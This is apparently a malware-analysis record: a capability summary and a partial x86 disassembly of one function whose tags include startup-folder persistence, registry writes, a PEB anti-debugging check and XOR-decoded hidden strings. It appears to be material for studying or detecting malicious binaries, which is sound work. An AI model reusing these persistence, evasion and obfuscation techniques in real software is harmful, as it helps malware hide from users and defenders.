Function at 0x486050
Capabilities:
Authenticate hmac
Check for peb ntglobalflag flag
Copy file
Create process on windows
Create shortcut via ishelllink
Encode data using xor
Get common file path
Get number of processors
Get session user name
Get startup folder
Parse pe header
Set registry value
Write file to startup folder

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x554c34
push eax
mov dword fs:[0], esp
mov eax, 0x2e88
push ebx
call fcn.00434720
push esi
push edi
mov dword [ebp - 0x18], 0
mov dword [ebp - 4], 7
sub esp, 0x18
lea eax, [ebx + 8]
mov dword [ebp - 0x17c], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 8
lea eax, [ebp - 0x2220]
push eax
mov byte [ebp - 4], 7
call fcn.0048ef90
mov byte [ebp - 4], 9
lea ecx, [ebx + 8]
push eax
call fcn.004162c0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x2220]
call fcn.00402df0
cmp byte [0x589358], 2
jne 0x48e660
lea eax, [ebp - 0x150]
mov ecx, 0x589358
push eax
call fcn.00413830
lea eax, [ebp - 0x3c]
push eax
call fcn.004137c0
mov esi, dword [ebp - 0x150]
cmp esi, dword [ebp - 0x3c]
jne 0x48e87a
movzx eax, byte [esi]
sub eax, 1
je 0x486133
sub eax, 1
je 0x486128
mov eax, dword [ebp - 0x144]
cmp eax, dword [ebp - 0x30]
jmp 0x48613c
mov eax, dword [ebp - 0x148]
cmp eax, dword [ebp - 0x34]
jmp 0x48613c
mov eax, dword [ebp - 0x14c]
cmp eax, dword [ebp - 0x38]
setne al
test al, al
je 0x48e660
lea ecx, [ebp - 0x150]
call fcn.00413200
mov dword [ebp - 0x360], 0xb1c487f9
mov esi, eax
mov dword [ebp - 0x35c], 0xf92597ba
mov ecx, dword [ebp - 0x360]
mov edx, dword [ebp - 0x35c]
mov dword [ebp - 0xf40], ecx
mov dword [ebp - 0xf3c], edx
mov dword [ebp - 0x368], 0x7dbb92e6
mov dword [ebp - 0x364], 0x14d846fe
mov ecx, dword [ebp - 0x368]
mov eax, dword [ebp - 0x364]
mov dword [ebp - 0xf38], ecx
mov dword [ebp - 0xf34], eax
mov dword [ebp - 0x370], 0xdf9be395
mov dword [ebp - 0x36c], 0xf940fadb
mov eax, dword [ebp - 0x370]
mov ecx, dword [ebp - 0x36c]
mov dword [ebp - 0x1790], eax
mov dword [ebp - 0x378], 0x7dbb92e6
mov dword [ebp - 0x178c], ecx
mov dword [ebp - 0x374], 0x14d846fe
mov eax, dword [ebp - 0x378]
mov ecx, dword [ebp - 0x374]
movaps xmm1, xmmword [ebp - 0xf40]
mov dword [ebp - 0x1788], eax
lea eax, [ebp - 0xf40]
mov dword [ebp - 0x1784], ecx
mov ecx, esi
xorps xmm1, xmmword [ebp - 0x1790]
push eax
movaps xmmword [ebp - 0xf40], xmm1
call fcn.0041af80
lea ecx, [ebp - 0x1d3c]
push ecx
mov ecx, eax
call fcn.0041b0e0
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x380], 0xb2c487f9
mov dword [ebp - 0x37c], 0x8a2b88ba
mov eax, dword [ebp - 0x380]
mov ecx, dword [ebp - 0x37c]
mov dword [ebp - 0xf50], eax
mov dword [ebp - 0xf4c], ecx
mov dword [ebp - 0x388], 0x7dbb92e6
mov dword [ebp - 0x384], 0x14d846fe
mov eax, dword [ebp - 0x388]
mov ecx, dword [ebp - 0x384]
mov dword [ebp - 0xf48], eax
mov dword [ebp - 0xf44], ecx
mov dword [ebp - 0x390], 0xdf9be395
mov dword [ebp - 0x38c], 0xf940fadb
mov eax, dword [ebp - 0x390]
mov ecx, dword [ebp - 0x38c]
mov dword [ebp - 0x17a0], eax
mov dword [ebp - 0x398], 0x7dbb92e6
mov dword [ebp - 0x179c], ecx
mov dword [ebp - 0x394], 0x14d846fe
mov eax, dword [ebp - 0x398]
mov ecx, dword [ebp - 0x394]
movaps xmm1, xmmword [ebp - 0xf50]
mov dword [ebp - 0x1798], eax
lea eax, [ebp - 0xf50]
mov dword [ebp - 0x1794], ecx
mov ecx, esi
xorps xmm1, xmmword [ebp - 0x17a0]
push eax
movaps xmmword [ebp - 0xf50], xmm1
call fcn.0041af80
lea ecx, [ebp - 0x1e58]
push ecx
mov ecx, eax
call fcn.0041b0e0
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x3a0], 0xbdc487f9
mov dword [ebp - 0x39c], 0x9d2c93ae
mov eax, dword [ebp - 0x3a0]
mov ecx, dword [ebp - 0x39c]
mov dword [ebp - 0xf60], eax
mov dword [ebp - 0xf5c], ecx
mov dword [ebp - 0x3a8], 0x18d6f388
mov dword [ebp - 0x3a4], 0x14d846fe
mov eax, dword [ebp - 0x3a8]
mov ecx, dword [ebp - 0x3a4]
mov dword [ebp - 0xf58], eax
mov dword [ebp - 0xf54], ecx
mov dword [ebp - 0x3b0], 0xdf9be395
mov dword [ebp - 0x3ac], 0xf940fadb
mov eax, dword [ebp - 0x3b0]
mov ecx, dword [ebp - 0x3ac]
mov dword [ebp - 0x17b0], eax
mov dword [ebp - 0x3b8], 0x7dbb92e6
mov dword [ebp - 0x17ac], ecx
mov dword [ebp - 0x3b4], 0x14d846fe
mov eax, dword [ebp - 0x3b8]
mov ecx, dword [ebp - 0x3b4]
movaps xmm1, xmmword [ebp - 0xf60]
mov dword [ebp - 0x17a8], eax
lea eax, [ebp - 0xf60]
mov dword [ebp - 0x17a4], ecx
mov ecx, esi
xorps xmm1, xmmword [ebp - 0x17b0]
push eax
movaps xmmword [ebp - 0xf60], xmm1
call fcn.0041af80
lea ecx, [ebp - 0x1de0]
push ecx
mov ecx, eax
call fcn.0041b0e0
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x3c0], 0xb8c487f9
mov dword [ebp - 0x3bc], 0xf94095be
mov eax, dword [ebp - 0x3c0]
mov ecx, dword [ebp - 0x3bc]
mov dword [ebp - 0xf70], eax
mov dword [ebp - 0xf6c], ecx
mov dword [ebp - 0x3c8], 0x7dbb92e6
mov dword [ebp - 0x3c4], 0x14d846fe
mov eax, dword [ebp - 0x3c8]
mov ecx, dword [ebp - 0x3c4]
mov dword [ebp - 0xf68], eax
mov dword [ebp - 0xf64], ecx
mov dword [ebp - 0x3d0], 0xdf9be395
mov dword [ebp - 0x3cc], 0xf940fadb
mov eax, dword [ebp - 0x3d0]
mov ecx, dword [ebp - 0x3cc]
mov dword [ebp - 0x17c0], eax
mov dword [ebp - 0x3d8], 0x7dbb92e6
mov dword [ebp - 0x17bc], ecx
mov dword [ebp - 0x3d4], 0x14d846fe
mov eax, dword [ebp - 0x3d8]
mov ecx, dword [ebp - 0x3d4]
movaps xmm1, xmmword [ebp - 0xf70]
mov dword [ebp - 0x17b8], eax
lea eax, [ebp - 0xf70]
mov dword [ebp - 0x17b4], ecx
mov ecx, esi
xorps xmm1, xmmword [ebp - 0x17c0]
push eax
movaps xmmword [ebp - 0xf70], xmm1
call fcn.0041af80
lea ecx, [ebp - 0x13d4]
push ecx
mov ecx, eax
call fcn.0041b0e0
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x3e0], 0xaac487f9
mov dword [ebp - 0x3dc], 0xf94096a9
mov eax, dword [ebp - 0x3e0]
mov ecx, dword [ebp - 0x3dc]
mov dword [ebp - 0xf80], eax
mov dword [ebp - 0xf7c], ecx
mov dword [ebp - 0x3e8], 0x7dbb92e6
mov dword [ebp - 0x3e4], 0x14d846fe
mov eax, dword [ebp - 0x3e8]
mov ecx, dword [ebp - 0x3e4]
mov dword [ebp - 0xf78], eax
mov dword [ebp - 0xf74], ecx
mov dword [ebp - 0x3f0], 0xdf9be395
mov dword [ebp - 0x3ec], 0xf940fadb
mov eax, dword [ebp - 0x3f0]
mov ecx, dword [ebp - 0x3ec]
mov dword [ebp - 0x17d0], eax
mov dword [ebp - 0x3f8], 0x7dbb92e6
mov dword [ebp - 0x17cc], ecx
mov dword [ebp - 0x3f4], 0x14d846fe
mov eax, dword [ebp - 0x3f8]
mov ecx, dword [ebp - 0x3f4]
movaps xmm1, xmmword [ebp - 0xf80]
mov dword [ebp - 0x17c8], eax
lea eax, [ebp - 0xf80]
mov dword [ebp - 0x17c4], ecx
mov ecx, esi
xorps xmm1, xmmword [ebp - 0x17d0]
push eax
movaps xmmword [ebp - 0xf80], xmm1
call fcn.0041af80
lea ecx, [ebp - 0x1d24]
push ecx
mov ecx, eax
call fcn.0041b0e0
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x400], 0xbec487f9
mov dword [ebp - 0x3fc], 0x8b2f8eae
mov eax, dword [ebp - 0x400]
mov ecx, dword [ebp - 0x3fc]
mov dword [ebp - 0x1400], eax
mov dword [ebp - 0x13fc], ecx
mov dword [ebp - 0x408], 0xfe4fc93
mov dword [ebp - 0x404], 0x67b1219b
mov eax, dword [ebp - 0x408]
mov ecx, dword [ebp - 0x404]
mov dword [ebp - 0x13f8], eax
mov dword [ebp - 0x13f4], ecx
mov dword [ebp - 0x410], 0xd9361bd3
mov dword [ebp - 0x40c], 0xc0cfc619
mov eax, dword [ebp - 0x410]
mov ecx, dword [ebp - 0x40c]
mov dword [ebp - 0x13f0], eax
mov dword [ebp - 0x13ec], ecx
mov dword [ebp - 0x418], 0xae7946e8
mov dword [ebp - 0x414], 0x89c15b7c
mov eax, dword [ebp - 0x418]
mov ecx, dword [ebp - 0x414]
mov dword [ebp - 0x13e8], eax
mov dword [ebp - 0x13e4], ecx
mov dword [ebp - 0x420], 0xdf9be395
mov dword [ebp - 0x41c], 0xf940fadb
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp - 0x41c]
mov dword [ebp - 0x428], 0x7dbb92e6
mov dword [ebp - 0x424], 0x14d846fe
mov dword [ebp - 0x1ac0], eax
mov eax, dword [ebp - 0x428]
mov dword [ebp - 0x1abc], ecx
mov ecx, dword [ebp - 0x424]
mov dword [ebp - 0x430], 0xd94f69a7
mov dword [ebp - 0x42c], 0xc0cfc619
mov dword [ebp - 0x1ab8], eax
mov eax, dword [ebp - 0x430]
mov dword [ebp - 0x1ab4], ecx
mov ecx, dword [ebp - 0x42c]
mov dword [ebp - 0x438], 0xae7946e8
mov dword [ebp - 0x1ab0], eax
mov dword [ebp - 0x434], 0x89c15b7c
mov eax, dword [ebp - 0x438]
mov dword [ebp - 0x1aac], ecx
mov ecx, dword [ebp - 0x434]
movaps xmm1, xmmword [ebp - 0x1400]
xorps xmm1, xmmword [ebp - 0x1ac0]
movaps xmmword [ebp - 0x1400], xmm1
movaps xmm1, xmmword [ebp - 0x13f0]
mov dword [ebp - 0x1aa8], eax
lea eax, [ebp - 0x1400]
mov dword [ebp - 0x1aa4], ecx
xorps xmm1, xmmword [ebp - 0x1ab0]
movaps xmmword [ebp - 0x13f0], xmm1
push eax
mov ecx, esi
call fcn.0041af80
mov ecx, eax
call fcn.0041b1e0
mov dword [ebp - 0x440], 0xbec487f9
mov dword [ebp - 0x43c], 0x8b2f8eae
mov ecx, dword [ebp - 0x440]
mov edx, dword [ebp - 0x43c]
mov dword [ebp - 0x1420], ecx
mov dword [ebp - 0x141c], edx
mov dword [ebp - 0x448], 0xee4fc93
mov dword [ebp - 0x444], 0x70bd2e9d
mov ecx, dword [ebp - 0x448]
mov byte [ebp - 0x45], al
mov eax, dword [ebp - 0x444]
mov dword [ebp - 0x1418], ecx
mov dword [ebp - 0x1414], eax
mov dword [ebp - 0x450], 0xab2a05d2
mov dword [ebp - 0x44c], 0xc0cfc619
mov eax, dword [ebp - 0x450]
mov ecx, dword [ebp - 0x44c]
mov dword [ebp - 0x1410], eax
mov dword [ebp - 0x140c], ecx
mov dword [ebp - 0x458], 0xae7946e8
mov dword [ebp - 0x454], 0x89c15b7c
mov eax, dword [ebp - 0x458]
mov ecx, dword [ebp - 0x454]
mov dword [ebp - 0x1408], eax
mov dword [ebp - 0x1404], ecx
mov dword [ebp - 0x460], 0xdf9be395
mov dword [ebp - 0x45c], 0xf940fadb
mov eax, dword [ebp - 0x460]
mov ecx, dword [ebp - 0x45c]
mov dword [ebp - 0x468], 0x7dbb92e6
mov dword [ebp - 0x464], 0x14d846fe
mov dword [ebp - 0x1ae0], eax
mov eax, dword [ebp - 0x468]
mov dword [ebp - 0x1adc], ecx
mov ecx, dword [ebp - 0x464]
mov dword [ebp - 0x470], 0xd94f69a7
mov dword [ebp - 0x46c], 0xc0cfc619
mov dword [ebp - 0x1ad8], eax
mov eax, dword [ebp - 0x470]
mov dword [ebp - 0x1ad4], ecx
mov ecx, dword [ebp - 0x46c]
mov dword [ebp - 0x1ad0], eax
mov dword [ebp - 0x478], 0xae7946e8
mov dword [ebp - 0x1acc], ecx
mov dword [ebp - 0x474], 0x89c15b7c
mov eax, dword [ebp - 0x478]
mov ecx, dword [ebp - 0x474]
movaps xmm1, xmmword [ebp - 0x1420]
xorps xmm1, xmmword [ebp - 0x1ae0]
movaps xmmword [ebp - 0x1420], xmm1
movaps xmm1, xmmword [ebp - 0x1410]
mov dword [ebp - 0x1ac8], eax
lea eax, [ebp - 0x1420]
mov dword [ebp - 0x1ac4], ecx
mov ecx, esi
xorps xmm1, xmmword [ebp - 0x1ad0]
push eax
movaps xmmword [ebp - 0x1410], xmm1
call fcn.0041af80
mov ecx, eax
call fcn.0041b1e0
mov dword [ebp - 0x480], 0xbec487f9
mov dword [ebp - 0x47c], 0x8b2f8eae
mov ecx, dword [ebp - 0x480]
mov edx, dword [ebp - 0x47c]
mov dword [ebp - 0x1440], ecx
mov dword [ebp - 0x143c], edx
mov dword [ebp - 0x488], 0xee4fc93
mov dword [ebp - 0x484], 0x78b42396
mov ecx, dword [ebp - 0x488]
mov byte [ebp - 0x47], al
mov eax, dword [ebp - 0x484]
mov dword [ebp - 0x1438], ecx
mov dword [ebp - 0x1434], eax
mov dword [ebp - 0x490], 0xd94f69a7
mov dword [ebp - 0x48c], 0xc0cfc619
mov eax, dword [ebp - 0x490]
mov ecx, dword [ebp - 0x48c]
mov dword [ebp - 0x1430], eax
mov dword [ebp - 0x142c], ecx
mov dword [ebp - 0x498], 0xae7946e8
mov dword [ebp - 0x494], 0x89c15b7c
mov eax, dword [ebp - 0x498]
mov ecx, dword [ebp - 0x494]
mov dword [ebp - 0x1428], eax
mov dword [ebp - 0x1424], ecx
mov dword [ebp - 0x4a0], 0xdf9be395
mov dword [ebp - 0x49c], 0xf940fadb
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x4a8], 0x7dbb92e6
mov dword [ebp - 0x4a4], 0x14d846fe
mov dword [ebp - 0x1b00], eax
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x1afc], ecx
mov ecx, dword [ebp - 0x4a4]
mov dword [ebp - 0x4b0], 0xd94f69a7
mov dword [ebp - 0x4ac], 0xc0cfc619
mov dword [ebp - 0x1af8], eax
mov eax, dword [ebp - 0x4b0]
mov dword [ebp - 0x1af4], ecx
mov ecx, dword [ebp - 0x4ac]
mov dword [ebp - 0x1af0], eax
mov dword [ebp - 0x4b8], 0xae7946e8
mov dword [ebp - 0x1aec], ecx
mov dword [ebp - 0x4b4], 0x89c15b7c
mov eax, dword [ebp - 0x4b8]
mov ecx, dword [ebp - 0x4b4]
movaps xmm1, xmmword [ebp - 0x1440]
xorps xmm1, xmmword [ebp - 0x1b00]
movaps xmmword [ebp - 0x1440], xmm1
movaps xmm1, xmmword [ebp - 0x1430]
mov dword [ebp - 0x1ae8], eax
lea eax, [ebp - 0x1440]
mov dword [ebp - 0x1ae4], ecx
mov ecx, esi
xorps xmm1, xmmword [ebp - 0x1af0]
push eax
movaps xmmword [ebp - 0x1430], xmm1
call fcn.0041af80
mov ecx, eax
call fcn.0041b1e0
cmp dword [ebp - 0x1dd0], 0
mov byte [ebp - 0x46], al
jbe 0x486c16
mov dword [ebp - 0x4c0], 0xdf9be3b9
sub esp, 0x18
mov dword [ebp - 0x4bc], 0xf940fadb
mov ecx, dword [ebp - 0x4c0]
mov edx, dword [ebp - 0x4bc]
mov dword [ebp - 0xf90], ecx
mov dword [ebp - 0xf8c], edx
mov dword [ebp - 0x4c8], 0x7dbb92e6
mov dword [ebp - 0x4c4], 0x14d846fe
mov eax, dword [ebp - 0x4c8]
mov ecx, dword [ebp - 0x4c4]
mov dword [ebp - 0xf88], eax
mov dword [ebp - 0xf84], ecx
mov dword [ebp - 0x4d0], 0xdf9be395
mov dword [ebp - 0x4cc], 0xf940fadb
mov eax, dword [ebp - 0x4d0]
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0x17e0], eax
mov dword [ebp - 0x4d8], 0x7dbb92e6
mov dword [ebp - 0x17dc], ecx
mov dword [ebp - 0x4d4], 0x14d846fe
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [ebp - 0x4d4]
movaps xmm1, xmmword [ebp - 0xf90]
mov dword [ebp - 0x17d8], eax
lea eax, [ebp - 0xf90]
mov dword [ebp - 0x17d4], ecx
mov ecx, esp
xorps xmm1, xmmword [ebp - 0x17e0]
mov dword [ebp - 0x1d74], esp
push eax
movaps xmmword [ebp - 0xf90], xmm1
call fcn.00402cf0
mov byte [ebp - 4], 0x10
sub esp, 0x18
lea eax, [ebp - 0x1de0]
mov dword [ebp - 0x1d78], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x11
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1374]
call fcn.004e64d0
add esp, 0x30
mov byte [ebp - 4], 0x12
mov esi, dword [ebp - 0x1374]
mov edi, dword [ebp - 0x1370]
cmp esi, edi
je 0x486bf8
mov edx, esi
mov ecx, 0x5893dc
call fcn.0041af50
test al, al
jne 0x486c07
add esi, 0x18
cmp esi, edi
jne 0x486be1
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1374]
jmp 0x48e5bb
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1374]
call fcn.004185d0
lea eax, [ebp - 0x1d7c]
push eax
lea ecx, [ebp - 0x13d4]
call fcn.004160e0
lea ecx, [ebp - 0x13d4]
mov edi, dword [eax]
lea eax, [ebp - 0x1d80]
push eax
call fcn.004160c0
lea ecx, [ebp - 0x13d4]
mov esi, dword [eax]
lea eax, [ebp - 0x1d84]
push eax
call fcn.004160e0
push edi
push esi
lea ecx, [ebp - 0x1d88]
push dword [eax]
call fcn.0041ba70
mov dword [ebp - 0xd8], 0xdf9be3b5
add esp, 0xc
mov dword [ebp - 0xd4], 0xf940fadb
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd4]
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x120], eax
mov dword [ebp - 0xe0], 0x7dbb92e6
mov dword [ebp - 0xdc], 0x14d846fe
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x114], ecx
mov dword [ebp - 0x118], eax
mov dword [ebp - 0xe8], 0xdf9be395
mov dword [ebp - 0xe4], 0xf940fadb
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0xf0], 0x7dbb92e6
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], ecx
mov dword [ebp - 0xec], 0x14d846fe
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xec]
movaps xmm1, xmmword [ebp - 0x120]
mov dword [ebp - 0x254], ecx
lea ecx, [ebp - 0x13d4]
mov dword [ebp - 0x258], eax
xorps xmm1, xmmword [ebp - 0x260]
movaps xmmword [ebp - 0x120], xmm1
call fcn.00416090
lea ecx, [ebp - 0x120]
push ecx
push eax
call fcn.00434e60
add esp, 8
test eax, eax
je 0x486f60
nop word [eax + eax]
push 0x5659da
lea ecx, [ebp - 0x1f50]
call fcn.00402cf0
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x4e0], 0xdf9be3b5
mov dword [ebp - 0x4dc], 0xf940fadb
mov eax, dword [ebp - 0x4e0]
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0xfa0], eax
mov dword [ebp - 0xf9c], ecx
mov dword [ebp - 0x4e8], 0x7dbb92e6
mov dword [ebp - 0x4e4], 0x14d846fe
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0xf98], eax
mov dword [ebp - 0xf94], ecx
mov dword [ebp - 0x4f0], 0xdf9be395
mov dword [ebp - 0x4ec], 0xf940fadb
mov eax, dword [ebp - 0x4f0]
mov ecx, dword [ebp - 0x4ec]
mov dword [ebp - 0x17f0], eax
mov dword [ebp - 0x4f8], 0x7dbb92e6
mov dword [ebp - 0x17ec], ecx
mov dword [ebp - 0x4f4], 0x14d846fe
mov eax, dword [ebp - 0x4f8]
mov ecx, dword [ebp - 0x4f4]
movaps xmm1, xmmword [ebp - 0xfa0]
mov dword [ebp - 0x17e8], eax
lea eax, [ebp - 0xfa0]
mov dword [ebp - 0x17e4], ecx
lea ecx, [ebp - 0x1f38]
xorps xmm1, xmmword [ebp - 0x17f0]
push eax
movaps xmmword [ebp - 0xfa0], xmm1
call fcn.00402cf0
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x1f50]
push eax
lea edx, [ebp - 0x1f38]
lea ecx, [ebp - 0x13d4]
call fcn.004e6470
add esp, 4
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x1f38]
call fcn.00402df0
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1f50]
call fcn.00402df0
mov dword [ebp - 0xd8], 0xdf9be3b5
mov dword [ebp - 0xd4], 0xf940fadb
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd4]
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x120], eax
mov dword [ebp - 0xe0], 0x7dbb92e6
mov dword [ebp - 0xdc], 0x14d846fe
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x114], ecx
mov dword [ebp - 0x118], eax
mov dword [ebp - 0xe8], 0xdf9be395
mov dword [ebp - 0xe4], 0xf940fadb
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0xf0], 0x7dbb92e6
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], ecx
mov dword [ebp - 0xec], 0x14d846fe
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xec]
movaps xmm1, xmmword [ebp - 0x120]
mov dword [ebp - 0x254], ecx
lea ecx, [ebp - 0x13d4]
mov dword [ebp - 0x258], eax
xorps xmm1, xmmword [ebp - 0x260]
movaps xmmword [ebp - 0x120], xmm1
call fcn.00416090
lea ecx, [ebp - 0x120]
push ecx
push eax
call fcn.00434e60
add esp, 8
test eax, eax
jne 0x486d50
mov dword [ebp - 0x500], 0xdf9be3b9
sub esp, 0x18
mov dword [ebp - 0x4fc], 0xf940fadb
mov eax, dword [ebp - 0x500]
mov ecx, dword [ebp - 0x4fc]
mov dword [ebp - 0xfb0], eax
mov dword [ebp - 0xfac], ecx
mov dword [ebp - 0x508], 0x7dbb92e6
mov dword [ebp - 0x504], 0x14d846fe
mov eax, dword [ebp - 0x508]
mov ecx, dword [ebp - 0x504]
mov dword [ebp - 0xfa8], eax
mov dword [ebp - 0xfa4], ecx
mov dword [ebp - 0x510], 0xdf9be395
mov dword [ebp - 0x50c], 0xf940fadb
mov eax, dword [ebp - 0x510]
mov ecx, dword [ebp - 0x50c]
mov dword [ebp - 0x1800], eax
mov dword [ebp - 0x518], 0x7dbb92e6
mov dword [ebp - 0x17fc], ecx
mov dword [ebp - 0x514], 0x14d846fe
mov eax, dword [ebp - 0x518]
mov ecx, dword [ebp - 0x514]
movaps xmm1, xmmword [ebp - 0xfb0]
mov dword [ebp - 0x17f8], eax
lea eax, [ebp - 0xfb0]
mov dword [ebp - 0x17f4], ecx
mov ecx, esp
xorps xmm1, xmmword [ebp - 0x1800]
mov dword [ebp - 0x1d8c], esp
push eax
mov byte [ebp - 0x11], 0
movaps xmmword [ebp - 0xfb0], xmm1
call fcn.00402cf0
mov byte [ebp - 4], 0x15
sub esp, 0x18
lea eax, [ebp - 0x13d4]
mov dword [ebp - 0x1d90], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x16
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x13a4]
call fcn.004e64d0
add esp, 0x30
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x13a4]
xor esi, esi
call fcn.00415220
mov edi, eax
test edi, edi
je 0x4870b3
nop dword [eax + eax]
push esi
lea ecx, [ebp - 0x13a4]
call fcn.00415200
lea edx, [ebx + 8]
mov ecx, eax
call fcn.0041af50
test al, al
jne 0x487269
inc esi
cmp esi, edi
jb 0x487090
mov dl, byte [ebp - 0x11]
lea ecx, [ebp - 0x13a4]
call fcn.00415220
test eax, eax
je 0x4870cd
test dl, dl
je 0x48e5b1
mov dword [ebp - 0x520], 0xdf9be3b9
sub esp, 0x18
mov dword [ebp - 0x51c], 0xf940fadb
mov eax, dword [ebp - 0x520]
mov ecx, dword [ebp - 0x51c]
mov dword [ebp - 0xfc0], eax
mov dword [ebp - 0xfbc], ecx
mov dword [ebp - 0x528], 0x7dbb92e6
mov dword [ebp - 0x524], 0x14d846fe
mov eax, dword [ebp - 0x528]
mov ecx, dword [ebp - 0x524]
mov dword [ebp - 0xfb8], eax
mov dword [ebp - 0xfb4], ecx
mov dword [ebp - 0x530], 0xdf9be395
mov dword [ebp - 0x52c], 0xf940fadb
mov eax, dword [ebp - 0x530]
mov ecx, dword [ebp - 0x52c]
mov dword [ebp - 0x1810], eax
mov dword [ebp - 0x538], 0x7dbb92e6
mov dword [ebp - 0x180c], ecx
mov dword [ebp - 0x534], 0x14d846fe
mov eax, dword [ebp - 0x538]
mov ecx, dword [ebp - 0x534]
movaps xmm1, xmmword [ebp - 0xfc0]
mov dword [ebp - 0x1808], eax
lea eax, [ebp - 0xfc0]
mov dword [ebp - 0x1804], ecx
mov ecx, esp
xorps xmm1, xmmword [ebp - 0x1810]
mov dword [ebp - 0x1d94], esp
push eax
mov byte [ebp - 0x1c], 0
movaps xmmword [ebp - 0xfc0], xmm1
call fcn.00402cf0
mov byte [ebp - 4], 0x18
sub esp, 0x18
lea eax, [ebp - 0x1e58]
mov dword [ebp - 0x1d98], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x19
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x2fc]
call fcn.004e64d0
add esp, 0x30
mov byte [ebp - 4], 0x1a
xor esi, esi
mov edx, dword [ebp - 0x2f8]
mov eax, edx
mov ecx, dword [ebp - 0x2fc]
sub eax, ecx
sar eax, 3
imul eax, eax, 0xaaaaaaab
mov dword [ebp - 0x1a4], esi
test eax, eax
je 0x48a671
nop dword [eax + eax]
sub esp, 0x18
lea eax, [esi + esi*2]
mov esi, esp
mov dword [ebp - 0x1c88], esp
xorps xmm0, xmm0
lea eax, [ecx + eax*8]
mov dword [ebp - 0x24], eax
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
cmp dword [eax + 0x14], 0xf
mov edi, dword [eax + 0x10]
jbe 0x487246
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
cmp edi, 0x7fffffff
ja 0x48ed82
cmp edi, 0xf
ja 0x487270
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], 0xf
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
jmp 0x4872b1
mov dl, 1
jmp 0x4870b6
push closesocket
push 0xf
push edi
call fcn.004030d0
add esp, 0xc
mov dword [ebp - 0x154], eax
lea eax, [ebp - 0x154]
push eax
push esi
call fcn.004032d0
mov ecx, dword [ebp - 0x154]
mov dword [esi], eax
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], ecx
lea ecx, [edi + 1]
push ecx
push dword [ebp - 0x24]
push eax
call fcn.00435270
add esp, 0x14
mov byte [ebp - 4], 0x1b
sub esp, 0x10
lea eax, [ebx + 0x20]
mov dword [ebp - 0x1c8c], esp
mov ecx, esp
push eax
call fcn.00413d50
mov byte [ebp - 4], 0x1c
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x270]
call fcn.004d70f0
add esp, 0x28
mov byte [ebp - 4], 0x1d
xorps xmm0, xmm0
mov byte [ebp - 0xfd0], 0
movq qword [ebp - 0xfc8], xmm0
mov byte [ebp - 0xfd0], 5
movlpd qword [ebp - 0xfc8], xmm0
mov byte [ebp - 4], 0x1e
lea edx, [ebp - 0xfd0]
lea ecx, [ebp - 0x270]
call fcn.0041f7b0
mov byte [ebp - 0x11], al
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0xfc8]
push dword [ebp - 0xfd0]
call fcn.00417af0
cmp byte [ebp - 0x11], 0
jne 0x48a62e
mov dword [ebp - 0x540], 0xb4e982f8
mov dword [ebp - 0x53c], 0x9c289984
mov eax, dword [ebp - 0x540]
mov ecx, dword [ebp - 0x53c]
mov dword [ebp - 0x1460], eax
mov dword [ebp - 0x145c], ecx
mov dword [ebp - 0x548], 0x1ee4f985
mov dword [ebp - 0x544], 0x7db32991
mov eax, dword [ebp - 0x548]
mov ecx, dword [ebp - 0x544]
mov dword [ebp - 0x1458], eax
mov dword [ebp - 0x1454], ecx
mov dword [ebp - 0x550], 0xd94f1ac2
mov dword [ebp - 0x54c], 0xc0cfc619
mov eax, dword [ebp - 0x550]
mov ecx, dword [ebp - 0x54c]
mov dword [ebp - 0x1450], eax
mov dword [ebp - 0x144c], ecx
mov dword [ebp - 0x558], 0xae7946e8
